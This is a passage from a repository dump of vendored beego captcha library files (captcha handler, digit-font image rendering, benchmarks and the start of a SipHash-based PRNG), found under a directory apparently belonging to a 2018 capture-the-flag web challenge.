*Captcha) key(id string) string {\n\treturn c.CachePrefix + id\n}\n\n// generate rand chars with default chars\nfunc (c *Captcha) genRandChars() []byte {\n\treturn utils.RandomCreateBytes(c.ChallengeNums, defaultChars...)\n}\n\n// Handler beego filter handler for serve captcha image\nfunc (c *Captcha) Handler(ctx *context.Context) {\n\tvar chars []byte\n\n\tid := path.Base(ctx.Request.RequestURI)\n\tif i := strings.Index(id, \".\"); i != -1 {\n\t\tid = id[:i]\n\t}\n\n\tkey := c.key(id)\n\n\tif len(ctx.Input.Query(\"reload\")) > 0 {\n\t\tchars = c.genRandChars()\n\t\tif err := c.store.Put(key, chars, c.Expiration); err != nil {\n\t\t\tctx.Output.SetStatus(500)\n\t\t\tctx.WriteString(\"captcha reload error\")\n\t\t\tlogs.Error(\"Reload Create Captcha Error:\", err)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tif v, ok := c.store.Get(key).([]byte); ok {\n\t\t\tchars = v\n\t\t} else {\n\t\t\tctx.Output.SetStatus(404)\n\t\t\tctx.WriteString(\"captcha not found\")\n\t\t\treturn\n\t\t}\n\t}\n\n\timg := NewImage(chars, c.StdWidth, c.StdHeight)\n\tif _, err := img.WriteTo(ctx.ResponseWriter); err != nil {\n\t\tlogs.Error(\"Write Captcha Image Error:\", err)\n\t}\n}\n\n// CreateCaptchaHTML template func for output html\nfunc (c *Captcha) CreateCaptchaHTML() template.HTML {\n\tvalue, err := c.CreateCaptcha()\n\tif err != nil {\n\t\tlogs.Error(\"Create Captcha Error:\", err)\n\t\treturn \"\"\n\t}\n\n\t// create html\n\treturn template.HTML(fmt.Sprintf(`<input type=\"hidden\" name=\"%s\" value=\"%s\">`+\n\t\t`<a class=\"captcha\" href=\"javascript:\">`+\n\t\t`<img onclick=\"this.src=('%s%s.png?reload='+(new Date()).getTime())\" class=\"captcha-img\" src=\"%s%s.png\">`+\n\t\t`</a>`, c.FieldIDName, value, c.URLPrefix, value, c.URLPrefix, value))\n}\n\n// CreateCaptcha create a new captcha id\nfunc (c *Captcha) CreateCaptcha() (string, error) {\n\t// generate captcha id\n\tid := string(utils.RandomCreateBytes(15))\n\n\t// get the captcha chars\n\tchars := c.genRandChars()\n\n\t// save to store\n\tif err := c.store.Put(c.key(id), chars, c.Expiration); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn id, nil\n}\n\n// VerifyReq verify from a request\nfunc (c *Captcha) VerifyReq(req *http.Request) bool {\n\treq.ParseForm()\n\treturn c.Verify(req.Form.Get(c.FieldIDName), req.Form.Get(c.FieldCaptchaName))\n}\n\n// Verify direct verify id and challenge string\nfunc (c *Captcha) Verify(id string, challenge string) (success bool) {\n\tif len(challenge) == 0 || len(id) == 0 {\n\t\treturn\n\t}\n\n\tvar chars []byte\n\n\tkey := c.key(id)\n\n\tif v, ok := c.store.Get(key).([]byte); ok {\n\t\tchars = v\n\t} else {\n\t\treturn\n\t}\n\n\tdefer func() {\n\t\t// finally remove it\n\t\tc.store.Delete(key)\n\t}()\n\n\tif len(chars) != len(challenge) {\n\t\treturn\n\t}\n\t// verify challenge\n\tfor i, c := range chars {\n\t\tif c != challenge[i]-48 {\n\t\t\treturn\n\t\t}\n\t}\n\n\treturn true\n}\n\n// NewCaptcha create a new captcha.Captcha\nfunc NewCaptcha(urlPrefix string, store cache.Cache) *Captcha {\n\tcpt := &Captcha{}\n\tcpt.store = store\n\tcpt.FieldIDName = fieldIDName\n\tcpt.FieldCaptchaName = fieldCaptchaName\n\tcpt.ChallengeNums = challengeNums\n\tcpt.Expiration = expiration\n\tcpt.CachePrefix = cachePrefix\n\tcpt.StdWidth = stdWidth\n\tcpt.StdHeight = stdHeight\n\n\tif len(urlPrefix) == 0 {\n\t\turlPrefix = defaultURLPrefix\n\t}\n\n\tif urlPrefix[len(urlPrefix)-1] != '/' {\n\t\turlPrefix += \"/\"\n\t}\n\n\tcpt.URLPrefix = urlPrefix\n\n\treturn cpt\n}\n\n// NewWithFilter create a new captcha.Captcha and auto AddFilter for serve captacha image\n// and add a template func for output html\nfunc NewWithFilter(urlPrefix string, store cache.Cache) *Captcha {\n\tcpt := NewCaptcha(urlPrefix, store)\n\n\t// create filter for serve captcha image\n\tbeego.InsertFilter(cpt.URLPrefix+\"*\", beego.BeforeRouter, cpt.Handler)\n\n\t// add to template func map\n\tbeego.AddFuncMap(\"create_captcha\", cpt.CreateCaptchaHTML)\n\n\treturn cpt\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/captcha/image.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage captcha\n\nimport (\n\t\"bytes\"\n\t\"image\"\n\t\"image/color\"\n\t\"image/png\"\n\t\"io\"\n\t\"math\"\n)\n\nconst (\n\tfontWidth  = 11\n\tfontHeight = 18\n\tblackChar  = 1\n\n\t// Standard width and height of a captcha image.\n\tstdWidth  = 240\n\tstdHeight = 80\n\t// Maximum absolute skew factor of a single digit.\n\tmaxSkew = 0.7\n\t// Number of background circles.\n\tcircleCount = 20\n)\n\nvar font = [][]byte{\n\t{ // 0\n\t\t0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0,\n\t\t0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0,\n\t\t0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0,\n\t\t0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0,\n\t\t1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1,\n\t\t0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0,\n\t\t0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0,\n\t\t0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0,\n\t\t0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0,\n\t},\n\t{ // 1\n\t\t0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0,\n\t\t0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n\t\t0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n\t},\n\t{ // 2\n\t\t0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0,\n\t\t0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0,\n\t\t1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0,\n\t\t0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0,\n\t\t0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0,\n\t\t0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0,\n\t\t0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0,\n\t\t0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0,\n\t\t0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0,\n\t\t1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n\t\t1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n\t},\n\t{ // 3\n\t\t0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0,\n\t\t1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0,\n\t\t1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0,\n\t\t0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0,\n\t\t0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1,\n\t\t1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0,\n\t\t1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0,\n\t\t0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0,\n\t},\n\t{ // 4\n\t\t0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0,\n\t\t0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0,\n\t\t0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0,\n\t\t0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0,\n\t\t0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0,\n\t\t0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0,\n\t\t0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0,\n\t\t0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0,\n\t\t0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0,\n\t\t0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0,\n\t\t1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0,\n\t\t1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0,\n\t\t1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n\t\t1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n\t\t0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0,\n\t},\n\t{ // 5\n\t\t0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0,\n\t\t0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0,\n\t\t0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0,\n\t\t0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0,\n\t\t0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0,\n\t\t0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0,\n\t\t0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0,\n\t\t0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0,\n\t\t1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0,\n\t\t0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0,\n\t},\n\t{ // 6\n\t\t0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0,\n\t\t0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0,\n\t\t0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0,\n\t\t0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0,\n\t\t0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0,\n\t\t0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t\t1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0,\n\t\t1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0,\n\t\t1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0,\n\t\t1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1,\n\t\t0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0,\n\t\t0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0,\n\t\t0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0,\n\t},\n\t{ // 7\n\t\t1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n\t\t1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n\t\t1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0,\n\t\t0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0,\n\t\t0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0,\n\t\t0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0,\n\t\t0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0,\n\t\t0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0,\n\t\t0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0,\n\t\t0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0,\n\t\t0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0,\n\t\t0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0,\n\t},\n\t{ // 8\n\t\t0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0,\n\t\t0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0,\n\t\t0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1,\n\t\t0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0,\n\t\t0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0,\n\t\t0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0,\n\t\t0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0,\n\t\t0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0,\n\t\t1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0,\n\t\t0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0,\n\t\t0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0,\n\t},\n\t{ // 9\n\t\t0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0,\n\t\t0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0,\n\t\t0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1,\n\t\t0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1,\n\t\t0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1,\n\t\t0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0,\n\t\t0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0,\n\t\t0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0,\n\t\t0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0,\n\t\t0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0,\n\t},\n}\n\n// Image struct\ntype Image struct {\n\t*image.Paletted\n\tnumWidth  int\n\tnumHeight int\n\tdotSize   int\n}\n\nvar prng = &siprng{}\n\n// randIntn returns a pseudorandom non-negative int in range [0, n).\nfunc randIntn(n int) int {\n\treturn prng.Intn(n)\n}\n\n// randInt returns a pseudorandom int in range [from, to].\nfunc randInt(from, to int) int {\n\treturn prng.Intn(to+1-from) + from\n}\n\n// randFloat returns a pseudorandom float64 in range [from, to].\nfunc randFloat(from, to float64) float64 {\n\treturn (to-from)*prng.Float64() + from\n}\n\nfunc randomPalette() color.Palette {\n\tp := make([]color.Color, circleCount+1)\n\t// Transparent color.\n\tp[0] = color.RGBA{0xFF, 0xFF, 0xFF, 0x00}\n\t// Primary color.\n\tprim := color.RGBA{\n\t\tuint8(randIntn(129)),\n\t\tuint8(randIntn(129)),\n\t\tuint8(randIntn(129)),\n\t\t0xFF,\n\t}\n\tp[1] = prim\n\t// Circle colors.\n\tfor i := 2; i <= circleCount; i++ {\n\t\tp[i] = randomBrightness(prim, 255)\n\t}\n\treturn p\n}\n\n// NewImage returns a new captcha image of the given width and height with the\n// given digits, where each digit must be in range 0-9.\nfunc NewImage(digits []byte, width, height int) *Image {\n\tm := new(Image)\n\tm.Paletted = image.NewPaletted(image.Rect(0, 0, width, height), randomPalette())\n\tm.calculateSizes(width, height, len(digits))\n\t// Randomly position captcha inside the image.\n\tmaxx := width - (m.numWidth+m.dotSize)*len(digits) - m.dotSize\n\tmaxy := height - m.numHeight - m.dotSize*2\n\tvar border int\n\tif width > height {\n\t\tborder = height / 5\n\t} else {\n\t\tborder = width / 5\n\t}\n\tx := randInt(border, maxx-border)\n\ty := randInt(border, maxy-border)\n\t// Draw digits.\n\tfor _, n := range digits {\n\t\tm.drawDigit(font[n], x, y)\n\t\tx += m.numWidth + m.dotSize\n\t}\n\t// Draw strike-through line.\n\tm.strikeThrough()\n\t// Apply wave distortion.\n\tm.distort(randFloat(5, 10), randFloat(100, 200))\n\t// Fill image with random circles.\n\tm.fillWithCircles(circleCount, m.dotSize)\n\treturn m\n}\n\n// encodedPNG encodes an image to PNG and returns\n// the result as a byte slice.\nfunc (m *Image) encodedPNG() []byte {\n\tvar buf bytes.Buffer\n\tif err := png.Encode(&buf, m.Paletted); err != nil {\n\t\tpanic(err.Error())\n\t}\n\treturn buf.Bytes()\n}\n\n// WriteTo writes captcha image in PNG format into the given writer.\nfunc (m *Image) WriteTo(w io.Writer) (int64, error) {\n\tn, err := w.Write(m.encodedPNG())\n\treturn int64(n), err\n}\n\nfunc (m *Image) calculateSizes(width, height, ncount int) {\n\t// Goal: fit all digits inside the image.\n\tvar border int\n\tif width > height {\n\t\tborder = height / 4\n\t} else {\n\t\tborder = width / 4\n\t}\n\t// Convert everything to floats for calculations.\n\tw := float64(width - border*2)\n\th := float64(height - border*2)\n\t// fw takes into account 1-dot spacing between digits.\n\tfw := float64(fontWidth + 1)\n\tfh := float64(fontHeight)\n\tnc := float64(ncount)\n\t// Calculate the width of a single digit taking into account only the\n\t// width of the image.\n\tnw := w / nc\n\t// Calculate the height of a digit from this width.\n\tnh := nw * fh / fw\n\t// Digit too high?\n\tif nh > h {\n\t\t// Fit digits based on height.\n\t\tnh = h\n\t\tnw = fw / fh * nh\n\t}\n\t// Calculate dot size.\n\tm.dotSize = int(nh / fh)\n\tif m.dotSize < 1 {\n\t\tm.dotSize = 1\n\t}\n\t// Save everything, making the actual width smaller by 1 dot to account\n\t// for spacing between digits.\n\tm.numWidth = int(nw) - m.dotSize\n\tm.numHeight = int(nh)\n}\n\nfunc (m *Image) drawHorizLine(fromX, toX, y int, colorIdx uint8) {\n\tfor x := fromX; x <= toX; x++ {\n\t\tm.SetColorIndex(x, y, colorIdx)\n\t}\n}\n\nfunc (m *Image) drawCircle(x, y, radius int, colorIdx uint8) {\n\tf := 1 - radius\n\tdfx := 1\n\tdfy := -2 * radius\n\txo := 0\n\tyo := radius\n\n\tm.SetColorIndex(x, y+radius, colorIdx)\n\tm.SetColorIndex(x, y-radius, colorIdx)\n\tm.drawHorizLine(x-radius, x+radius, y, colorIdx)\n\n\tfor xo < yo {\n\t\tif f >= 0 {\n\t\t\tyo--\n\t\t\tdfy += 2\n\t\t\tf += dfy\n\t\t}\n\t\txo++\n\t\tdfx += 2\n\t\tf += dfx\n\t\tm.drawHorizLine(x-xo, x+xo, y+yo, colorIdx)\n\t\tm.drawHorizLine(x-xo, x+xo, y-yo, colorIdx)\n\t\tm.drawHorizLine(x-yo, x+yo, y+xo, colorIdx)\n\t\tm.drawHorizLine(x-yo, x+yo, y-xo, colorIdx)\n\t}\n}\n\nfunc (m *Image) fillWithCircles(n, maxradius int) {\n\tmaxx := m.Bounds().Max.X\n\tmaxy := m.Bounds().Max.Y\n\tfor i := 0; i < n; i++ {\n\t\tcolorIdx := uint8(randInt(1, circleCount-1))\n\t\tr := randInt(1, maxradius)\n\t\tm.drawCircle(randInt(r, maxx-r), randInt(r, maxy-r), r, colorIdx)\n\t}\n}\n\nfunc (m *Image) strikeThrough() {\n\tmaxx := m.Bounds().Max.X\n\tmaxy := m.Bounds().Max.Y\n\ty := randInt(maxy/3, maxy-maxy/3)\n\tamplitude := randFloat(5, 20)\n\tperiod := randFloat(80, 180)\n\tdx := 2.0 * math.Pi / period\n\tfor x := 0; x < maxx; x++ {\n\t\txo := amplitude * math.Cos(float64(y)*dx)\n\t\tyo := amplitude * math.Sin(float64(x)*dx)\n\t\tfor yn := 0; yn < m.dotSize; yn++ {\n\t\t\tr := randInt(0, m.dotSize)\n\t\t\tm.drawCircle(x+int(xo), y+int(yo)+(yn*m.dotSize), r/2, 1)\n\t\t}\n\t}\n}\n\nfunc (m *Image) drawDigit(digit []byte, x, y int) {\n\tskf := randFloat(-maxSkew, maxSkew)\n\txs := float64(x)\n\tr := m.dotSize / 2\n\ty += randInt(-r, r)\n\tfor yo := 0; yo < fontHeight; yo++ {\n\t\tfor xo := 0; xo < fontWidth; xo++ {\n\t\t\tif digit[yo*fontWidth+xo] != blackChar {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tm.drawCircle(x+xo*m.dotSize, y+yo*m.dotSize, r, 1)\n\t\t}\n\t\txs += skf\n\t\tx = int(xs)\n\t}\n}\n\nfunc (m *Image) distort(amplude float64, period float64) {\n\tw := m.Bounds().Max.X\n\th := m.Bounds().Max.Y\n\n\toldm := m.Paletted\n\tnewm := image.NewPaletted(image.Rect(0, 0, w, h), oldm.Palette)\n\n\tdx := 2.0 * math.Pi / period\n\tfor x := 0; x < w; x++ {\n\t\tfor y := 0; y < h; y++ {\n\t\t\txo := amplude * math.Sin(float64(y)*dx)\n\t\t\tyo := amplude * math.Cos(float64(x)*dx)\n\t\t\tnewm.SetColorIndex(x, y, oldm.ColorIndexAt(x+int(xo), y+int(yo)))\n\t\t}\n\t}\n\tm.Paletted = newm\n}\n\nfunc randomBrightness(c color.RGBA, max uint8) color.RGBA {\n\tminc := min3(c.R, c.G, c.B)\n\tmaxc := max3(c.R, c.G, c.B)\n\tif maxc > max {\n\t\treturn c\n\t}\n\tn := randIntn(int(max-maxc)) - int(minc)\n\treturn color.RGBA{\n\t\tuint8(int(c.R) + n),\n\t\tuint8(int(c.G) + n),\n\t\tuint8(int(c.B) + n),\n\t\tc.A,\n\t}\n}\n\nfunc min3(x, y, z uint8) (m uint8) {\n\tm = x\n\tif y < m {\n\t\tm = y\n\t}\n\tif z < m {\n\t\tm = z\n\t}\n\treturn\n}\n\nfunc max3(x, y, z uint8) (m uint8) {\n\tm = x\n\tif y > m {\n\t\tm = y\n\t}\n\tif z > m {\n\t\tm = z\n\t}\n\treturn\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/captcha/image_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage captcha\n\nimport (\n\t\"testing\"\n\n\t\"github.com/astaxie/beego/utils\"\n)\n\ntype byteCounter struct {\n\tn int64\n}\n\nfunc (bc *byteCounter) Write(b []byte) (int, error) {\n\tbc.n += int64(len(b))\n\treturn len(b), nil\n}\n\nfunc BenchmarkNewImage(b *testing.B) {\n\tb.StopTimer()\n\td := utils.RandomCreateBytes(challengeNums, defaultChars...)\n\tb.StartTimer()\n\tfor i := 0; i < b.N; i++ {\n\t\tNewImage(d, stdWidth, stdHeight)\n\t}\n}\n\nfunc BenchmarkImageWriteTo(b *testing.B) {\n\tb.StopTimer()\n\td := utils.RandomCreateBytes(challengeNums, defaultChars...)\n\tb.StartTimer()\n\tcounter := &byteCounter{}\n\tfor i := 0; i < b.N; i++ {\n\t\timg := NewImage(d, stdWidth, stdHeight)\n\t\timg.WriteTo(counter)\n\t\tb.SetBytes(counter.n)\n\t\tcounter.n = 0\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/captcha/siprng.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage captcha\n\nimport (\n\t\"crypto/rand\"\n\t\"encoding/binary\"\n\t\"io\"\n\t\"sync\"\n)\n\n// siprng is PRNG based on SipHash-2-4.\ntype siprng struct {\n\tmu          sync.Mutex\n\tk0, k1, ctr uint64\n}\n\n// siphash implements SipHash-2-4, accepting a uint64 as a message.\nfunc siphash(k0, k1, m uint64) uint64 {\n\t// Initialization.\n\tv0 := k0 ^ 0x736f6d6570736575\n\tv1 := k1 ^ 0x646f72616e646f6d\n\tv2 := k0 ^ 